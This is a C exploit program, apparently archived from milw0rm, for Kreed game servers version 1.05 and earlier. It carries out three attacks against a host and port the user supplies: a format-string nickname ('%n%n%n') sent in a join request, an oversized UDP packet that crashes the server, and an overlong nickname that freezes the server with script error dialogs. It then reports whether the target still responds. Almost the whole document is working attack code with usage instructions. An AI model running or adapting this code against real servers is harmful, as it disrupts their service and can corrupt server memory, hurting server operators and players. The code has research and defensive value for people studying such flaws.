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Kreed <= 1.05 Format String and Denial of Service Exploit
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
/*
Read/Write bits to buffer 0.1.1
by Luigi Auriemma
e-mail: [email protected]
web: http://aluigi.altervista.org
max 32 bits numbers supported (from 0 to 4294967295).
Probably not the fastest bit packing functions existent, but I like them.
*/
unsigned long read_bits( // number read
unsigned long bits, // how much bits to read
unsigned char *in, // buffer from which to read the number
unsigned long in_bits // position of the buffer in bits
) {
unsigned long seek_bits,
rem,
seek = 0,
ret = 0,
mask = -1L;
if(bits > 32) return(0);
if(bits < 32) mask = (1 << bits) - 1;
for(;;) {
seek_bits = in_bits & 7;
ret |= ((*(in + (in_bits >> 3)) >> seek_bits) & mask) << seek;
rem = 8 - seek_bits;
if(rem >= bits) break;
bits -= rem;
in_bits += rem;
seek += rem;
mask = (1 << bits) - 1;
}
return(ret);
}
unsigned long write_bits( // position where the stored number finishs
unsigned long data, // number to store
unsigned long bits, // how much bits to occupy
unsigned char *out, // buffer on which to store the number
unsigned long out_bits // position of the buffer in bits
) {
unsigned long seek_bits,
rem;
if(bits > 32) return(out_bits);
if(bits < 32) data &= ((1 << bits) - 1);
for(;;) {
seek_bits = out_bits & 7;
*(out + (out_bits >> 3)) &= (1 << seek_bits) - 1; // zero
*(out + (out_bits >> 3)) |= (data << seek_bits);
rem = 8 - seek_bits;
if(rem >= bits) break;
out_bits += rem;
bits -= rem;
data >>= rem;
}
return(out_bits + bits);
}
#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
#define VER "0.1"
#define BUFFSZ 2048 // 1400 is enough for Kreed
#define PORT 28902
#define TIMEOUT 3
#define KREEDVER 33
#define NICKNAME "%n%n%n"
#define INFO "get_info"
#define CHALL "get_challenge\n"
#define CONNECT "connect %d %d %d name '%s' model 'mifs/players/leg_cmn_c1_MP.mif' string 'no info' gender 'male' rate 100000\n"
#define SCRIPTERR 100 // 30 is enough
#define SEND(x,y) if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, sizeof(peer)) \
< 0) std_err();
#define RECV len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err();
#define RECVT if(timeout(sd) < 0) { \
fputs("\n" \
"Error: socket timeout, no reply received\n" \
"\n", stdout); \
exit(1); \
} \
RECV;
int build_kreed_pck(u_char *buff, int type, u_char *data);
void read_kreed_pck(u_char *buff, int len);
void kreed_info(void);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
struct sockaddr_in peer;
int main(int argc, char *argv[]) {
int sd,
len,
challenge,
attack,
version = KREEDVER;
u_short port = PORT;
u_char *buff,
*tmp,
*p,
*nick = NICKNAME;
setbuf(stdout, NULL);
fputs("\n"
"Kreed <= 1.05 format string, message too long and scripts bugs "VER"\n"
"by Luigi Auriemma\n"
"e-mail: [email protected]\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%d)]\n"
"\n"
"Attack:\n"
" 1 = in-game format string in client's nickname\n"
" 2 = Denial of Service caused by a packet of 1401 or more bytes\n"
" 3 = in-game annoying script dialog errors caused by too long nickname or model\n"
" values. The server is freezed until the messages are on the screen.\n"
"\n", argv[0], port);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
attack = atoi(argv[1]);
if((attack < 1) || (attack > 3)) {
fputs("\nError: you can only choose between the available attacks\n\n", stdout);
exit(1);
}
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
fputs("- request informations:\n", stdout);
kreed_info();
buff = malloc(BUFFSZ);
if(!buff) std_err();
if(attack == 2) {
fputs("- start \"Message too long\" DoS attack:\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
memset(buff, 0x00, BUFFSZ);
fputs("- send BOOM packet\n", stdout);
SEND(buff, BUFFSZ);
close(sd);
} else {
if(attack == 1) {
fputs("- start format string attack:\n", stdout);
} else if(attack == 3) {
fputs("- start annoying script errors attack:\n", stdout);
nick = malloc(SCRIPTERR + 1);
if(!nick) std_err();
memset(nick, 'a', SCRIPTERR);
nick[SCRIPTERR] = 0x00;
}
tmp = malloc(BUFFSZ);
if(!tmp) std_err();
for(;;) { // loop needed for the version handling
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
len = build_kreed_pck(
buff,
148, // challenge
CHALL);
fputs("- send challenge request\n", stdout);
SEND(buff, len);
RECVT;
read_kreed_pck(buff, len);
sscanf(buff, "challenge %d", &challenge);
sprintf(
tmp,
CONNECT,
version,
(int)(time(NULL) & 0xffff), // random port
challenge,
nick);
len = build_kreed_pck(
buff,
988, // connect
tmp);
fputs("- send join request\n", stdout);
SEND(buff, len);
if(timeout(sd) < 0) {
fputs("- server is temporary full or is already crashed, I check it\n", stdout);
close(sd);
break;
}
RECV;
close(sd);
read_kreed_pck(buff, len);
if(!strstr(buff, "client_connect")) {
p = strstr(buff, "version");
if(p) {
sscanf(p + 8, "%d", &version);
printf("- set version number to %d\n", version);
continue;
}
printf("\n"
"Error: your player has not been accepted for the following reason:\n"
"\n"
"%s\n"
"\n", buff);
exit(1);
}
break; // break if success
}
}
sleep(ONESEC);
fputs("- check server:\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
len = build_kreed_pck(
buff,
148, // challenge
CHALL);
SEND(buff, len);
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
int build_kreed_pck(u_char *buff, int type, u_char *data) {
u_long bits;
memset(buff, 0x00, BUFFSZ);
bits = write_bits(12, 32, buff, 0);
bits = write_bits(type, 16, buff, bits);
bits = write_bits(0xfffffff, 28, buff, bits);
while(*data) {
bits = write_bits(*data, 8, buff, bits);
data++;
}
if(bits & 7) return((bits >> 3) + 1);
return(bits >> 3);
}
void read_kreed_pck(u_char *buff, int len) {
u_long bits = 32,
check;
u_char *p;
check = read_bits(32, buff, 0);
if(check != 12) {
printf("\nError: server has replied with unexpected data (0x%08lx)\n\n", check);
exit(1);
}
read_bits(16, buff, bits); bits += 16;
read_bits(28, buff, bits); bits += 28;
for(len -= (bits >> 3), p = buff; len; len--) {
*p++ = read_bits(8, buff, bits);
bits += 8;
}
*p = 0x00; // useless
}
void kreed_info(void) {
int sd,
len;
u_char *buff;
buff = malloc(BUFFSZ);
if(!buff) std_err();
len = build_kreed_pck(
buff,
124, // info
INFO);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
SEND(buff, len);
RECVT;
close(sd);
read_kreed_pck(buff, len);
printf("%s\n\n", buff);
free(buff);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2004-12-02]
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